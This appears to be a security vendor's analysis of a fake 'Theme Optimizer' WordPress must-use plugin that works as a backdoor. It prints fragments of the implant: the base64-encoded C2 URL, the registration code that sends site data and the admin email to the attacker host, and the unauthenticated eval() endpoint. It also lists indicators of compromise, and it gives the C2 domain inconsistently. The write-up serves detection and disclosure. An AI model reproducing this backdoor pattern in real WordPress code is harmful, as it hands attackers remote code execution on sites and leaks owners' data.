4/13/2026

Fake "Theme Optimizer" MU-Plugin Deploys Persistent Remote Access Agent on WordPress Sites

A disguised must-use plugin silently registers infected sites with a C2 server and exposes an unauthenticated PHP execution endpoint — giving attackers full server control with no login required.

Quick Reference — Indicators of Compromise

Plugin Name: Theme Optimizer (v1.0.1)
File Header: Plugin Name: Theme Optimizer
C2 Domain: duck25[.]info

C2 URL (decoded):
hxxps://dillduck24[.]info/wpmanager/
AJAX Action (ping): wp_ajax_nopriv_wphda_ping
AJAX Action (exec): wp_ajax_nopriv_wphda_php_console
DB Options: wphda_token, wphda_registered, wphda_last_registration
Function Prefix: wphda_*
Location: /wp-contents/mu-plugins/theme-optimizer.php
SHA256: 897686844100a2049411a2dd0bd41f6ad5a9b01e4024a219b8abc5df4d0515c2

Overview

Monarx researchers found a rogue WP MU-plugin in the wild pretending to be a plugin called Theme Optimizer, which is a common, free WordPress optimization and performance improvement plugin. WordPress MU-plugins work a little differently than  WordPress plugins that show up in the WordPress admin. MU-plugins are usually pre-installed by a site owner and are loaded automatically for every page served by WordPress, so the implant in this case is not easily removed by a site owner because it does not show up on their WordPress admin.

After it is installed, the plugin will connect back to a C2 and register the site as a member of the botnet. It will store a persistent token in the WordPress database for authentication. It will also expose two public endpoints that the attacker can utilize to obtain information about the WordPress site and execute arbitrary PHP on the server.

⚠️ Key risk: The PHP code execution endpoint requires no WordPress login. Any unauthenticated HTTP POST request to /?action=wphda_php_console carrying the correct token grants full server-level code execution. This is functionally equivalent to a web shell.

Technical Analysis

1. Obfuscated C2 URL

At the start of the file we encounter a Base64 encoded string containing the attacker's management server (URL), a fairly trivial level of obfuscation designed to defeat basic string-scanning antivirus engines.

// As found in the plugin

$ur = base64_decode('aHR0cHM6Ly9kaWxsZHVjazI0LmluZm8vd3BtYW5hZ2VyLw==');

// Decoded value

// https://dillduck24.info/wpmanager/

The decoded URL is stored as a PHP constant (WPHDA_SERVER_URL), making it globally accessible to all plugin functions throughout the WordPress request lifecycle.

2. Persistent Site Registration

On the init action (one of the first hooks in the WordPress boot sequence) the plugin calls wphda_maybe_register(). This function checks a database flag (wphda_registered) and, if not set, generates a 32-character random token stored in wphda_token, then sends a full registration payload to the C2 endpoint /api/agent/register.

// Data exfiltrated on first registration

wp_json_encode([

   'url'        => home_url(),         // Site URL

   'name'       => get_bloginfo('name'), // Site name

   'token'      => get_option('wphda_token'),

   'wpVersion'  => get_bloginfo('version'),

   'phpVersion' => PHP_VERSION,

   'adminEmail' => get_option('admin_email'), // Admin email leaked

]);

The registration response is also logged to the database (wphda_last_registration), allowing the implant to track its own state across requests. Once registration succeeds, the flag is set and the registration function never fires again — meaning the token persists indefinitely unless the database is cleaned.

3. Unauthenticated Ping Endpoint

The plugin registers a nopriv AJAX action — meaning it is accessible without any WordPress authentication — that allows the C2 server to verify a site is online and collect current environment data:

add_action('wp_ajax_nopriv_wphda_ping', 'wphda_handle_ping');

// Returns: status, site name, URL, WP version, PHP version,

// admin email, locale, and server timestamp

Before serving any response, both AJAX handlers call wphda_verify_token(), which performs a hash_equals() comparison of the stored token against a $_POST['token'] value. This token-based gating means the endpoints are only reachable by the attacker who registered the site — but any party who obtains the token gains full access.

4. Unauthenticated Remote PHP Execution

This is the most dangerous component. The wphda_php_console AJAX action accepts a PHP code string, strips any opening <?php tag, and passes it directly to eval() inside an anonymous static closure:

$code_to_eval = preg_replace( '/^\s*<\?(php)?/i', '', $code );

// Output buffering captures all printed output

ob_start();

$return_value = ( static function () use ( $code_to_eval ) {

   return eval( $code_to_eval );

} )();

// Full output, return value, and execution time returned to attacker

Error handling via a Throwable catch block ensures the endpoint returns structured error messages back to the C2 (including stack traces) without crashing or generating visible server errors. This design reflects a mature, operationally-aware implant, not a simple backdoor paste.

Note on the use of MU-plugins: They do not appear in the Plugins list in the admin panel and cannot be deactivated through the UI. Attackers favor this location because it is overlooked during standard plugin audits and survives plugin deactivation sweeps.

Attack Flow

Step 1 — Delivery

MU-Plugin dropped
Attacker writes a plugin file to /wp-content/mu-plugins/ via an existing vulnerability (file upload, compromised credentials, or another backdoor).

Step 2 — Persistence

Auto-loaded by WordPress
On every page load, WordPress core automatically executes the plugin. No user action is required.

Step 3 — Registration

Token generated and site registered
On first load, a token is created and site metadata (URL, admin email, WP/PHP versions) is sent to:
dillduck24.info/wpmanager/api/agent/register

Step 4 — C2 Control

C2 server polls via ping
The attacker queries /?action=wphda_ping using the token to verify uptime and collect environment data.

Step 5 — Execution

Arbitrary PHP executed
The attacker sends PHP code to /?action=wphda_php_console. Output, return value, and execution time are returned in a JSON response.

Ready for next‑gen AI Server Security?

Start your Monarx journey in minutes